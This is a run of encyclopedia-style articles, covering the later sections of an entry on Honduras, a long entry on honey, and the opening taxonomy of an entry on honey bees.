          In 2005 Honduras signed the CAFTA (Free Trade Agreement with USA). In December 2005, Honduras' main seaport Puerto Cortes was included in the U.S. Container Security Initiative.


          On December 7, 2006, the U.S. Departments of Homeland Security ( DHS) and Energy ( DOE) announced the first phase of the Secure Freight Initiative, an unprecedented effort to build upon existing port security measures by enhancing the U.S. federal governments ability to scan containers for nuclear and radiological materials overseas and to better assess the risk of inbound containers. The initial phase of Secure Freight involves the deployment of a combination of existing technology and proven nuclear detection devices to six foreign ports: Port Qasim in Pakistan; Puerto Cortes in Honduras; Southampton in the United Kingdom; Port Salalah in Oman; Port of Singapore; and the Gamman Terminal at Port Busan in Korea. Since early 2007, containers from these ports are scanned for radiation and information risk factors before they are allowed to depart for the United States.


          


          Environment


          The region is considered a biodiversity hotspot due to the numerous plant and animal species that can be found there. Like other countries in the region, Honduras contains vast biological resources. This 43,278 square mile (112,092km) country hosts more than 6,000 species of vascular plants, of which 630 (described so far) are Orchids; around 250 reptiles and amphibians, more than 700 bird species, and 110 mammal species, half of them being bats.


          In the northeastern region of La Mosquitia lies the Ro Pltano Biosphere Reserve, a lowland rainforest which is home to a great diversity of life. The reserve was added to the UNESCO World Heritage Sites List in 1982.


          Honduras has rain forests, cloud forests (which can rise up to nearly three thousand meters above sea level), mangroves, savannas and mountain ranges with pine and oak trees, and the Mesoamerican Barrier Reef System. In the Bay Islands there are bottlenose dolphins, manta rays, parrot fish, schools of blue tang and whale shark.


          


          Infrastructure


          


          Energy


          The electricity sector in Honduras is characterized by the dominance of a vertically integrated utility (except for about half of the generation capacity) called ENEE ( Empresa Nacional de Energa Elctrica ); a failed attempt in 1994 to unbundle the sector into separate enterprises in charge of electricity generation and distribution; the increasing share of thermal generation over the past two decades; the poor financial health of the state utility ENEE; the imbalance between relatively high industrial and relatively low residential electricity tariffs; the high technical and commercial losses in transmission and distribution; and the low electric coverage in rural areas.


          Key challenges in the sector are:


          
            	How to finance investments in generation and transmission in the absence of either a financially healthy utility or of concessionary funds by external donors for these types of investments;


            	How to re-balance tariffs, cut arrears and reduce commercial losses - including electricity theft - without fostering social unrest; and


            	How to reconcile environmental concerns with the government's objective to build two new large dams and associated hydropower plants.


            	How to improve access in rural areas.

          


          


          Water supply and sanitation


          Water supply and sanitation in Honduras varies greatly from urban centers to rural villages. Larger population centers generally have modernized water treatment and distribution systems, however water quality is often poor due to lack of proper maintenance and treatment. Rural areas generally have basic drinking water systems with limited capacity for water treatment. Many urban areas have sewer systems in place for the collection of wastewater, however proper treatment of wastewater is scarce. In rural areas, sanitary facilities are generally limited to latrines and basic septic pits.


          Water and sanitation services were historically provided by Servicio Autonomo de Alcantarillas y Aqueductos (SANAA). In 2003, a new "water law" was passed which called for the decentralization of water services. With the 2003 law, local communities have the right and responsibility to own, operate, and control their own drinking water and wastewater systems. Since passage of the new law, many communities have joined together to address water and sanitation issues on a regional basis.


          Many national and international non-government organizations have a history of working on water and sanitation projects in Honduras. International groups include, but are not limited to, the Red Cross, Rotary Club, Catholic Relief Services, Water for People, CARE, CESO-SACO and SHH.


          In addition, many government organizations working on projects include: the European Union, USAID, the Army Corps of Engineers, Cooperacion Andalucia, the government of Japan, and many others.


          


          Transport
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          Transportation in Honduras consists of the following infrastructure: 699 km of railways; 13,603 km of roadways; 7 ports and harbors; and 112 airports altogether (12 Paved, 100 unpaved). Responsibility for policy in the transport sector rests with the Ministry of Public Works, Transport and Housing (SOPRTRAVI after its Spanish acronym).


          


          Demographics


          According to the CIA World Factbook, Honduras has a population of 7.48 million; 90% of the population is Mestizo, 7% Amerindian, 2% black and 1% white.
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          90% of the Honduran population is Mestizo (a mixture of Amerindian and European ancestry). About 7% of the Honduran population are members of one of the seven recognized indigenous groups. The Confederation of Autochthonous Peoples of Honduras (CONPAH) and the government of Honduras count seven different indigenous groups:


          
            	the Ch'orti', a Mayan group living in the northwest on the border with Guatemala;


            	the Garifuna speaking an Arawakan language. They live along the entire Caribbean coastline of Honduras, and in the Bay Islands;


            	the Pech or Paya Indians living in a small area in the Olancho department;


            	the Tolupan (also called Jicaque, "Xicaque", or Tol), living in the Department of Yoro and in the reserve of the Montaa de la Flor and parts of the department of Yoro;


            	the Lenca Indians living in the Valle and Choluteca departments;


            	the Miskito Indians living on the northeast coast along the border with Nicaragua.

          


          The confederation and each separate group of indigenous people have worked, since the 1980s, for bettering the life of the aboriginal peoples. Change, however, has been elusive as these peoples still face violence and discrimination.


          About 2% of Honduras's population is black, or Afro-Honduran, and mainly reside on the country's Caribbean or Atlantic coast. The black population comes from a number of sources. Most are the descendants of the West Indian islands brought to Honduras as slaves and indentured servants. Another large group (about 150,000 today) are the Garifuna, descendants of an Afro-Carib population which revolted against British authorities on the island of St. Vincent and were forcibly moved to Belize and Honduras during the eighteenth century. Garfunas are part of Honduran identity through theatrical presentations such as Louvavagu.


          Honduras hosts a significant Palestinian community (the vast majority of whom are Christian Arabs). The Palestinians arrived in the country in the late 19th and early 20th centuries, establishing themselves especially in the city of San Pedro Sula. The Palestinian community, well integrated in Honduras, is prominent in business, commerce, banking, industry, and politics. There is also an East Asian community that is primarily Chinese descent, and to a lesser extent Japanese. Korean, Ryukyuan, Vietnamese also make up a small percentage due to their arrival to Honduras as contract laborers in the 1980s and 1990s. There are also an estimated 1000 Sumos (or Mayangnas) that live in Honduras, the majority of whom reside on the Caribbean coast.


          Although Honduras is nominally Roman Catholic, membership in the Roman Catholic Church is declining while membership in Protestant churches is increasing. There are thriving Anglican, Presbyterian, Methodist, Seventh-Day Adventist, Lutheran, Pentacostal and Mormon churches, and they are all growing rapidly. There are Protestant seminaries. Practitioners of the Buddhist, Jewish, Islamic, Bah', Rastafari and indigenous denominations and religions exist. Evangelicalism in particular is increasing in popularity.


          The Church of Jesus Christ of Latter-Day Saints (Mormons) claims over 120,000 members in Honduras as of the beginning of 2007 (lds.org newsroom site).


          Since 1975, emigration from Honduras has accelerated as job-seekers and political refugees sought a better life elsewhere. Although many Hondurans have relatives in Nicaragua, Spain, Mexico, El Salvador and Canada, the majority of Hondurans living abroad are in the United States.


          


          Culture
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          The most renowned Honduran painter is Jose Antonio Velsquez. Other important painters include Carlos Garay, and Roque Zelaya. Two of Honduras' most notable writers are Froylan Turcios and Ramn Amaya Amador. Others include Marco Antonio Rosa, Roberto Sosa, Lucila Gamero de Medina, Eduardo Bhr, Amanda Castro, Javier Abril Espinoza, and Roberto Quesada. Some of Honduras' notable musicians include Rafael Coello Ramos, Lidia Handal, Victoriano Lopez, Guillermo Anderson, Victor Donaire, Francisco Carranza and Camilo Rivera Guevara.


          Hondurans are often referred to as Catracho or Catracha (fem) in Spanish. The word was coined by Nicaraguans and derives from the last name of the French Honduran General Florencio Xatruch, who, in 1857, led Honduran armed forces against an attempted invasion by North American adventurer William Walker. The nickname is considered complimentary, not derogatory.


          Honduras This Week is a weekly English language newspaper that has been published for seventeen years in Tegucigalpa. On the islands of Roatan, Utila and Guanaja the Bay Islands Voice has been a source of monthly news since 2003.


          Honduran cuisine makes extensive use of coconut, in both sweet and savory foods, and even in soups.


          In San Pedro Sula we can find the Jos Francisco Saybe theatre, home of Crculo Teatral Sampedrano (Theatrical Circle of San Pedro Sula).


          


          Notable Hondurans


          
            	David Suazo, a highly popular soccer player, who plays on the Honduras National team and is currently playing for Inter Milan.


            	scar Andrs Rodrguez Maradiaga, a Cardinal and potential candidate for Pope in the Papal Conclave, 2005


            	Salvador Moncada works at University College London and funds an NGO in Tegucigalpa. He is married to Princess Maria-Esmeralda of Belgium


            	Jos Antonio Velsquez is a Honduran primitivist painter, considered by many critics as the best primitivist painter in the world.


            	Carlos Campos is a fashion designer, born in San Pedro Sula, notably working for big-time celebrities, who also owns two stores: one in New York and the other in San Pedro Sula


            	Renn Almendrez Coello, the radio host of El Cucuy de la Maana ("The Boogeyman of the Morning") on KLAX-FM in Los Angeles


            	Carlos Mencia from Comedy Central's Mind of Mencia


            	Leticia de Oyuela was a Honduran historian


            	Neida Sandoval presenter of Univision morning show Despierta America in Miami


            	Karla Vega Miami based Singer/Songwriter who has appeared, recorded or written with artists such as Arturo Sandoval, Andy Garcia, Paquito D'Rivera, Cachao, Generoso Jimenez, Ed Calle, Paquito Echeverria, Richie Bravo, Jon Secada, Sacha Nairobi and countless others. She has performed for four years alongside Latin Grammy Nominee Ed Calle.


            	Satcha Pretto co-host of Univision show Primer Impacto Fin de Semana in Miami


            	Dunia Elvir presenter Telemundo in Los Angeles


            	David Archuleta, a contestant on American Idol Season 7, his mother is from Honduras


            	America Ferrera , Hollywood actress, Won Golden Globe & Emmy Awards for "Ugly Betty" or Betty la Fea, her parents are from Honduras.


            	Rickerby Hinds , an assistant professor at the University of California, Riverside who is a well known play write who graduated from UCLA. He emigrated from Honduras at the age of nine with his family.

          


          


          Celebrations
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          Some of Honduras's national holidays include Honduras Independence Day on September 15 and Children's Day or Dia del Nio, which is celebrated in homes, schools and churches on September 10; on this day children receive presents and have parties similar to Christmas or Birthday celebrations. Some neighborhoods have piatas on the street. Other holidays are Easter, Maundy Thursday, Good Friday, Day of the Soldier (October 3rd to celebrate the birth of Francisco Morazn), Christmas, El Dia de Lempira on July 20, and New Year's Eve. Honduras Independence Day festivities start early in the morning with marching bands. Each band wears different colors and features cheerleaders. Fiesta Catracha takes place this same day: typical Honduran foods such as beans, tamales, baleadas, yucca with chicharron, and tortillas are offered. On Christmas Eve, the people reunite with their families and close friends to have dinner, then give out presents at midnight. In some cities fireworks are seen and heard at midnight. On New Year's Eve there is food and "cohetes" or fireworks. Birthdays are also great events, and include the famous piata which is filled with candies and surprises for the children invited. La Feria Isidra is celebrated in La Ceiba in the end of May A city located in the coast. It is usually called "The Friendship Carnaval". People from all over the world come for one week of festivities. Every night there is a little carnaval (carnavalito) in a neighbourhood. Finally, on Saturday there is a big parade with floats and displays with people from Brazil, New Orleans, Japan, Jamaica, Barbados and many other countries. This celebration is also accompanied by the Milk Fair, where many Hondurans come to show of their farm products and animals.
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          Folklore


          Legends and stories are paramount within the Honderus culture, Lluvia de Peces (Fish Rain) n example of this. The legend of El Cadejo and La Ciguanaba (La Sucia) are also popular.


          During the 1960s-70s and through mid 80s Honduras Radio Noticias (HRN), a local Honduran radio, was the only one which transmitted these folklore stories. The program was called "Cuentos y Leyendas de Honduras". This show was responsible for the diffusion of the folk stories in the country.


          


          Sports


          Football (soccer), is the most popular sport in Honduras. Information on teams, competitions and players is available in the following articles:


          
            	Honduras' Football Federation


            	Honduras national football team


            	Category:Honduran football clubs


            	Category:Honduran football competitions


            	Category:Honduran footballers


            	Category:Football venues in Honduras
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          Honey is a sweet and viscous fluid produced by honey bees (and some other species), and derived from the nectar of flowers. According to the United States National Honey Board and various international food regulations, "honey stipulates a pure product that does not allow for the addition of any other substancethis includes, but is not limited to, water or other sweeteners". This article refers exclusively to the honey produced by honey bees (the genus Apis); honey produced by other bees or other insects has very different properties.


          Honey gets its sweetness from the monosaccharides fructose and glucose and has approximately the same relative sweetness as granulated sugar (97% of the sweetness of sucrose, a disaccharide). Honey has attractive chemical properties for baking, and a distinctive flavor which leads some people to prefer it over sugar and other sweeteners.


          Most micro-organisms do not grow in honey because of its low water activity of 0.6. However, it is important to note that honey frequently contains dormant endospores of the bacterium Clostridium botulinum, which can be dangerous to infants as the endospores can transform into toxin-producing bacteria in the infant's immature intestinal tract, leading to illness and even death (see Precautions below).


          The study of pollens and spores in raw honey ( melissopalynology) can determine floral sources of honey. Because bees carry an electrostatic charge, and can attract other particles, the same techniques of melissopalynology can be used in area environmental studies of radioactive particles, dust, or particulate pollution.


          A main effect of bees collecting nectar to make honey is pollination, which is crucial for flowering plants.


          The beekeeper encourages overproduction of honey within the hive so that the excess can be taken without endangering the bees. When sources of foods for the bees are short the beekeeper may have to give the bees supplementary nutrition.


          


          Honey formation


          Honey is laid down by bees as a food source. In cold weather or when food sources are scarce, bees use their stored honey as their source of energy. By contriving for the bee swarm to make its home in a hive, people have been able to semi- domesticate the insects. In the hive there are three types of bee: the single queen bee, a seasonally variable number of drone bees to fertilize new queens, and some 20,000 to 40,000 worker bees. The worker bees raise larvae and collect the nectar that will become honey in the hive. They go out, collect the sugar-rich flower nectar, release Nasonov pheromones and return to the hive. These pheromones enable other bees to find their way to the site by smell. Honeybees also release Nasonov pheromones at the entrance to the hive, which enables returning bees to return to the proper hive. In the hive the bees use their "honey stomachs" to ingest and regurgitate the nectar a number of times until it is partially digested. The bees work together as a group with the regurgitation and digestion until the product reaches a desired quality. It is then stored in the honeycomb. Nectar is high in both water content and natural yeasts which, unchecked, would cause the sugars in the nectar to ferment. After the final regurgitation, the honeycomb is left unsealed. Bees inside the hive fan their wings, creating a strong draft across the honeycomb which enhances evaporation of much of the water from the nectar. The reduction in water content, which raises the sugar concentration, prevents fermentation. Ripe honey, as removed from the hive by the beekeeper, has a long shelf life and will not ferment.


          


          Nutrition


          
            
              	Honey

              Nutritional value per 100g (3.5 oz)
            


            
              	Energy 300 kcal  1270 kJ
            


            
              	
                
                  
                    	Carbohydrates  

                    	82.4 g
                  


                  
                    	- Sugars 82.12 g
                  


                  
                    	- Dietary fibre 0.2 g 
                  


                  
                    	Fat

                    	0 g
                  


                  
                    	Protein

                    	0.3 g
                  


                  
                    	Water

                    	17.10 g
                  


                  
                    	Riboflavin (Vit. B2) 0.038 mg 

                    	3%
                  


                  
                    	Niacin (Vit. B3) 0.121 mg 

                    	1%
                  


                  
                    	Pantothenic acid (B5) 0.068 mg

                    	1%
                  


                  
                    	Vitamin B6 0.024 mg

                    	2%
                  


                  
                    	Folate (Vit. B9) 2 g

                    	1%
                  


                  
                    	Vitamin C 0.5 mg

                    	1%
                  


                  
                    	Calcium 6 mg

                    	1%
                  


                  
                    	Iron 0.42 mg

                    	3%
                  


                  
                    	Magnesium 2 mg

                    	1%
                  


                  
                    	Phosphorus 4 mg

                    	1%
                  


                  
                    	Potassium 52 mg 

                    	1%
                  


                  
                    	Sodium 4 mg

                    	0%
                  


                  
                    	Zinc 0.22 mg

                    	2%
                  

                

              
            


            
              	Shown is for 100 g, roughly 5 tbsp.

              Percentages are relative to US

              recommendations for adults.

              Source: USDA Nutrient database
            

          


          Honey is a mixture of sugars and other compounds. With respect to carbohydrates, honey is mainly fructose (about 38.5%) and glucose (about 31.0%), making it similar to the synthetically produced inverted sugar syrup which is approximately 48% fructose, 47% glucose, and 5% sucrose. Honey's remaining carbohydrates include maltose, sucrose, and other complex carbohydrates.


          Honey contains trace amounts of several vitamins and minerals. As with all nutritive sweeteners, honey is mostly sugars and is not a significant source of vitamins or minerals.


          Honey also contains tiny amounts of several compounds thought to function as antioxidants, including chrysin, pinobanksin, vitamin C, catalase, and pinocembrin.


          The specific composition of any batch of honey will depend largely on the mix of flowers available to the bees that produced the honey.


          Honey has a density of about 1.36 kg/ liter (36% denser than water).


          
            	Typical honey analysis

          


          
            	Fructose: 38.0%


            	Glucose: 31.0%


            	Sucrose: 1.0%


            	Water: 17.0%


            	Other sugars: 9.0% ( maltose, melezitose)


            	Ash: 0.17%


            	Other: 3.38%

          


          The analysis of the sugar content of honey is used for detecting adulteration.


          


          Types of honey


          



          


          Blended


          Most commercially available honey is blended, meaning that it is a mixture of two or more honeys differing in floral source, colour, flavor, density or geographic origin.


          


          Polyfloral


          Polyfloral honey is derived from the nectar of many types of flowers.


          


          Monofloral


          Different monofloral honeys have a distinctive flavor and colour due to differences between their principal nectar sources. Beekeepers keep monofloral beehives in an area where the bees have access to only one type of flower, because of that flower's properties. In practice, because of the difficulties in containing bees, a small proportion of any honey will be from additional nectar from other flower types. Typical examples of monofloral or varietal honeys are "orange blossom", "sage", "eucalyptus", "tupelo", "manuka", "buckwheat", "sourwood", and "clover".


          


          Honeydew honey


          Instead of taking nectar, bees can take honeydew, the sweet secretions of aphids or other plant sap-sucking insects. Bees collecting this resource have to be fed protein supplements, as honeydew lacks the protein-rich pollen accompaniment gathered from flowers.


          Germany's Black Forest is a well known source of honeydew-based honeys, as well as some regions in Bulgaria. Honeydew honey is popular in some areas, but in many areas beekeepers have difficulty selling the stronger flavored product.


          Honeydew honey has a much larger proportion of indigestibles than light floral honeys, which can cause dysentery, resulting in the death of colonies in areas with cold winters. Good beekeeping management requires the removal of honeydew prior to winter in colder areas.


          


          Honey processing


          
            	Comb honey Honey sold still in the original bees' wax comb. Comb honey was once packaged by installing a wooden framework in special honey supers, but this labor intensive method is being replaced by plastic rings or cartridges. With the new approach, a clear cover is usually fitted onto the cartridge after removal from the hive so customers can see the product.


            	Certified Organic Honey, according to TheOrganicReport.com, organic honey is quite scarce to find because most beekeepers "routinely use sulfa compounds and antibiotics to control bee diseases, carbolic acid to remove honey from the hive, and calcium cyanide to kill colonies before extracting the honey, not to mention that conventional honeybees gather nectar from plants that have been sprayed with pesticides." http://www.theorganicreport.com/pages/461_organic_honey.cfm


            	Raw honey Honey as it exists in the beehive or as obtained by extraction, settling or straining without adding heat above 120 F. Raw honey contains some pollen and may contain small particles of wax. Local raw honey is sought after by allergy sufferers as the pollen impurities are thought to lessen the sensitivity to hay fever (see Medical Applications below).


            	Chunk honey or Cut-comb honey Honey packed in widemouth containers consisting of one or more pieces of comb honey surrounded by extracted liquid honey.


            	Strained honey or Honey which has been passed through a mesh material to remove particulate material (pieces of wax, propolis, other defects) without removing pollen, minerals or valuable enzymes. Preferred by the health food trade  it may have a cloudy appearance due to the included pollen, and it also tends to crystallize more quickly than ultrafiltered honey.


            	Ultrafiltered honey Honey processed by very fine filtration under high pressure to remove all extraneous solids and pollen grains. The process typically heats honey to 150-170 F to more easily pass through the fine filter. Ultrafiltered honey is very clear and has a longer shelf life, because it crystallizes more slowly due to the high temperatures breaking down any sugar seed crystals, making it preferred by the supermarket trade. Ultrafiltration eliminates nutritionally valuable enzymes, such as diastase and invertase.


            	Heat-Treated honey Heat-treatment after extraction reduces the moisture level, destroys yeast cells, and liquefies crystals in the honey. Heat-exposure also results in product deterioration, as it increases the level of hydroxymethylfurfural (HMF) and reduces enzyme (e.g. diastase) activity. The heat also affects sensory qualities and reduces the freshness. Heat processing can darken the natural honey colour (browning), too.


            	Ultrasonicated honey Ultrasonication is a non-thermal processing alternative for honey. When honey is exposed to ultrasonication, most of the yeast cells are destroyed. Yeast cells that survive sonication generally lose their ability to grow. This reduces the rate of honey fermentation substantially. Ultrasonication also eliminates existing crystals and inhibit further crystallization in honey. Ultrasonically aided liquefaction can work at substantially lower temperatures of approx. 35 C and can reduce liquefaction time to less than 30 seconds.

          


          


          Other descriptions


          
            	Churned honey or creamed honey See whipped honey.


            	Crystallized honey Honey in which some of the glucose content has spontaneously crystallized from solution as the monohydrate. Also called "granulated honey."


            	Honey fondant See whipped honey.


            	Organic honey is honey produced, processed, and packaged in accordance with national regulations, and certified as such by some government body or an independent organic farming certification organization. For example, in the United Kingdom, the standard covers not only the origin of bees, but also the siting of the apiaries. These must be on land that is certified as organic, and within a radius of 4 miles from the apiary site, nectar and pollen sources must consist essentially of organic crops or uncultivated areas.


            	Set honey All honey will eventually set or granulate and this process can be reversed by gently warming the honey to remelt it. Some honeys set naturally with large granules and taste a little like granulated sugar in honey. Others set like royal icing  very hard and unspreadable. To overcome this problem beekeepers will mix in a small amount of fine-grained honey before it sets and then gently stir the honey to fix the setting prematurely, before it becomes hard, thereby producing a "soft set" honey.


            	Spun honey See whipped honey.

          


          


          Honey preservation


          Due to its unique composition and the complex processing of nectar by the bees which changes its chemical properties, honey is suitable for long term preservation and is easily assimilated even after long conservation. History knows examples of honey preservation for decades, and even centuries. "...small residues of edible honey have even been found in the pharaoh's tombs"


          A number of special prerequisites are, however, necessary to achieve the conservation periods of this order. These might include sealing the product in vessels of chosen material, kept in a favorable environment of specific humidity, temperature etc. An example of natural sealing of the honey with wax by the bees in little separated honey comb cells could be taken for reference.


          When conventional preservation methods are applied, it is not recommended to preserve the honey for longer than 2 (maximum 3) years. As honey has a strong tendency to absorb outside smells, it is advisable to keep it in clean, hermetically sealed vessels. It is also advisable to keep it in darkened (not lucid) vessels, or in dark store-places. When honey remains in direct sunlight for about one day its lysozyme (an antibacterial albuminous enzyme) is destroyed. Honey should also be protected from oxygen inflow, which brings about accelerated crystallization. Optimal preservation temperature is +4  10 C. The store-place should be dark and dry, preventing the honey from absorbing any moisture. If excessive moisture is soaked up by the honey, it might start fermenting. "Bee honey can absorb the moisture from the air, therefore it might ferment in a damp place"


          "Exposure to fresh air brings about the soaking up of external smells, oxygen and moisture, which cause fundamental chemical change of the productdecay of valuable amino acids, vitamins, enzymes and "antibiotics". The light has a similar influence."


          Acacia honey is known to be more resistant to crystallization. "The acacia honey would not crystallize (as quick as other types)"


          Due to the above reasons (high tendency to absorb outside smells and moisture) it is not advisable to preserve honey uncovered in a fridge, especially together with other foods and products.


          Honey is considered to gradually become toxic when preserved in metal containers. "Honey must not be preserved in metal containers, because the acids contained in its structure may cause oxidation. This leads to increased content of heavy metals in honey and decreases the amount of valuable healthy ingredients. Such a honey may cause obnoxious sensations in the stomach and even bring about a poisoning" It used to be preserved in ceramic and wooden containers in ancient times. Glass bottles are recommended nowadays. "The wooden vessels of coniferous wood are not suitable for honey preservation (honey soaks up the coniferous smell in such vessels). In the oak wood vessels honey grows black."


          Traditionally honey was preserved in deep cellars, but not together with wine or other products. It is considered even more sensitive to the store-place conditions than the best wines.


          Honey should not be heated above 40С (104F) . See also .


          "The best honey is in the uncut honey combs. After being pumped out from there it is very vulnerable, and the main losses of quality take place during preservation and distribution. Heating up to 37С causes loss of nearly 200 components, part of which are antibacterial. Heating up to 40С destroys the invertasethe main bee enzyme, thanks to which the nectar becomes honey; heating up to 50С turns the honey into caramel (the most valuable honey sugars become analogous to synthetic sugar). Generally any larger temperature fluctuation (10С is ideal for preservation of ripe honey) causes decay."


          


          Distinguishing quality honey


          The high quality natural honey can be distinguished by its fragrance and taste. The best period to stock up on honey is in summer, when it is being collected in large quantities. The ripe, freshly collected, high quality honey at 20C (68F) flows from the knife in a straight squirt, without breaking into separate drops. After falling down the honey should form a clear hillock. A saying goes: the honey rustles and glues like viscose. The ripe honey is being collected from the sealed honey combs, therefore it should always be of high quality.


          The honey should not lay down in layers. If this is a case, it indicates the excessive humidity (over 20%) of the product, and such a honey would not be suitable for long term preservation.


          A fluffy thin layer on the surface of the honey (like a white foam), or marble-coloured and white spots in crystallized honey at the wallsides of the bottle are caused by filling of liquid honey with subsequent sealingthe air bubbles are surfacing and part of them is concentrated at the wallsides. This is an indication of a high quality honey, which was filled without pasteurization (heating).


          If the honey is transparent, burning with amber-like colours, then (unless it is very fresh) it has most likely been heated and is of little value. Transparent and reluctant to thicken honey can also indicate its being a result of feeding the bees with sugar syrup or even sugar itself, which is bad both for the bees and for the honey they produce, as naturally they are supposed to feed on flower nectar.


          A true honey that is at least one month old is usually of demure (not translucent) colours.


          


          Honey in history, culture, and folklore


          In many cultures, honey has associations that go far beyond its use as a food. In language and literature, religion, and folk belief, honey is frequently a symbol or talisman for sweetness of every kind.
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              Honey comb
            

          


          


          Honey collection


          Honey collection by humans is an ancient activity. Bee Wilson (2004) states that humans began hunting for honey at least 10,000 years ago. Bee Wilson (2004: p.5) evidences this with a depiction a line drawing of a Mesolithic rock painting showing two honey-hunters collecting honey and honeycomb from a wild nest. The two men are naked and employ a long wobbly ladder which appears to be made out of a kind of grass in order to reach the wild nest. Both men carry baskets or bags. This rock painting is on a wall in a cave in Valencia, Spain.


          


          Biblical Period


          The Old Testament contains many references to honey. The book of Exodus famously describes the Promised Land as a "land flowing with milk and honey" (33:3). However, the claim has been advanced that the original Hebrew (devash) actually refers to the sweet syrup produced from the juice of the date. In The Book of Judges, Samson found a swarm of bees and honey in the carcass of a lion (14:8). In Matthew 3:4, John the Baptist is said to have lived for a long period of time in the wilderness on a diet consisting of locusts and wild honey. The word "honey" appears 73 times in the King James Version of the Bible.


          In Jewish tradition, honey is a symbol for the new year Rosh Hashana. At the traditional meal for that holiday, apple slices are dipped in honey and eaten to bring a sweet new year. Some Rosh Hashana greetings show honey and an apple, symbolizing the feast. In some congregations, small straws of honey are given out to usher in the new year.


          


          Buddhism


          Honey plays an important role in the festival of Madhu Purnima, celebrated by Buddhists in India and Bangladesh. The day commemorates Buddha's making peace among his disciples by retreating into the wilderness. The story goes that while he was there, a monkey brought him honey to eat. On Madhu Purnima, Buddhists remember this act by giving honey to monks. The monkey's gift is frequently depicted in Buddhist art.


          


          Mediterranean region


          In the Roman Empire, honey was possibly used instead of gold to pay taxes. Pliny the Elder devotes considerable space in his book Naturalis Historia to the bee and honey, and its many uses.


          In some parts of Greece, it was formerly the custom for a bride to dip her fingers in honey and make the sign of the cross before entering her new home. This was meant to ensure sweetness in her married life, especially in her relationship with her mother-in-law.


          In the accounts of the Ancient Egyptian Pharaoh Seti I, one hundred pots of honey were equivalent in value to an ass or an ox. Ancient Egyptian and Middle-Eastern peoples also used honey for embalming the dead.


          Scythians, and later the other Central Asian nomadic people, for many months drove a wagon with a deceased ruler around the country in their last rites mourning procession, carrying the body in a casket filled with honey.


          After his death in battle, the head of Vlad III Ţepeş (of later Dracula fame) was cut off and presented to the Sultan of Turkey, preserved in a jar of honey.


          


          Western culture


          In Western culture, bears are depicted as eating honey, even though most bears actually eat a wide variety of foods, and bears seen at beehives are usually more interested in bee larvae than honey. Honey is sometimes sold in a bear-shaped jar.


          "Honey", along with variations like "honey bun" and "honeypot" and the abbreviation "hon", has become a term of endearment in most of the English-speaking world. In some places it is used for loved ones; in others, such as the American South, it is used when addressing casual acquaintances or even strangers.


          


          Islamic tradition


          The Qur'an mentions the benefits of honey.


          
            "And thy Lord taught the bee to build its cells in hills, on trees and in (men's) habitationsthere issues from within their bodies a drink of varying colours, wherein is healing for mankind. Verily in this is a Sign for those who give thought".

          


          There is an entire Surah in Qur'an called al-Nahl (the Bee). According to hadith, Prophet Muhammad strongly recommend honey for healing purposes. 


          Honey producing countries
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          In 2005, China, Turkey, and the U.S. were the top producers of natural honey, reports the Food and Agriculture Organization of the United Nations (FAO).


          Mexico is also an important producer of honey, providing about ten percent of the world's supply. Much of this (about one.-third) comes from the Yucatan peninsula. Honey production began here when the Apis mellifera and the A. Mellifer ligustica were introduced here early in the 20th century. Most of Mexico's Yucatan producers are small, family operations who use primitive techniques, moving hives to take advantage of the various tropical and sub-tropical flowers. The honey-producing cycle depends on the rainy season. The first and best harvest takes place in the dry season between February and May. Many species flower at this time. After the rainy season begins, there are still plenty of flowers but the bees have a difficult time traveling for nectar and producing the honey because of the weather conditions. Bees may not make enough for sale and what may be produced is of lower-quality.


          


          Precautions


          Due to the natural presence of botulinum endospores in honey, children under one year of age should not be given honey. The more developed digestive systems of older children and adults generally destroy the spores. Infants, however, can contract botulism from honey.


          Honey produced from the flowers of rhododendrons, mountain laurels, sheep laurel, and azaleas may cause honey intoxication. Symptoms include dizziness, weakness, excessive perspiration, nausea, and vomiting. Less commonly, low blood pressure, shock, heart rhythm irregularities, and convulsions may occur, with rare cases resulting in death. Honey intoxication is more likely when using "natural" unprocessed honey and honey from farmers who may have a small number of hives. Commercial processing, with pooling of honey from numerous sources generally dilutes any toxins.


          Toxic honey may also result when bees are in close proximity to tutu bushes ( Coriaria arborea) and the vine hopper insect ( Scolypopa australis). Both are found throughout New Zealand. Bees gather honeydew produced by the vine hopper insects feeding on the tutu plant. This introduces the poison tutin into honey . Only a few areas in New Zealand (Coromandel Peninsula, Eastern Bay of Plenty and the Marlborough Sound) frequently produce toxic honey. Symptoms of tutin poisoning include vomiting, delirium, giddiness, increased excitability, stupor, coma, and violent convulsions. As little as one teaspoon of toxic honey may produce severe effects in humans. In order to reduce the risk of tutin poisoning, humans should not eat honey taken from feral hives in the risk areas of New Zealand. Since December 2001, New Zealand beekeepers have been required to reduce the risk of producing toxic honey by closely monitoring tutu, vine hopper, and foraging conditions within 3 km of their apiary.


          


          Images of harvesting honey
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              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Arthropoda

                  


                  
                    	Class:

                    	Insecta

                  


                  
                    	Subclass:

                    	Pterygota

                  


                  
                    	Infraclass:

                    	Neoptera

                  


                  
                    	Superorder:

                    	Endopterygota

                  


                  
                    	Order:

                    	Hymenoptera

                  


                  
                    	Suborder:

                    	Apocrita

                  


                  
                    	Family:

                    	Apidae

                  


                  
                    	Subfamily:

                    	Apinae

                  


                  
                    	Tribe:

                    	Apini

                  


                  
                    	Genus:

                    	Apis

                    Linnaeus, 1758
                  

                

              
            


            
              	Species
            


            
              	
                
                  	Subgenus Micrapis:

                


                Apis andreniformis

                Apis florea, or dwarf honey bee



                
                  	Subgenus Megapis:

                


                Apis dorsata, or giant honey bee



                
                  	Subgenus Apis:

                


                Apis cerana, or eastern honey bee

                Apis koschevnikovi

                Apis mellifera, or western honey bee

                Apis nigrocincta

              
            

          


          Honey bees (or honeybees) are a subset of bees, primarily distinguished by the production and storage of honey and the construction of perennial, colonial nests out of wax. Honey bees are the only extant members of the tribe Apini, all in the genus Apis. Currently, there are only seven recognized species of honey bee with a total of 44 subspecies (Engel, 1999) though historically, anywhere from six to eleven species have been recognized. Honey bees represent only a small fraction of the approximately 20,000 known species of bees. Some other types of related bees produce and store honey, but only members of the genus Apis are true honey bees.


          


          Origin, systematics and distribution


          
            [image: Morphology of a female honey bee.]

            
              Morphology of a female honey bee.
            

          


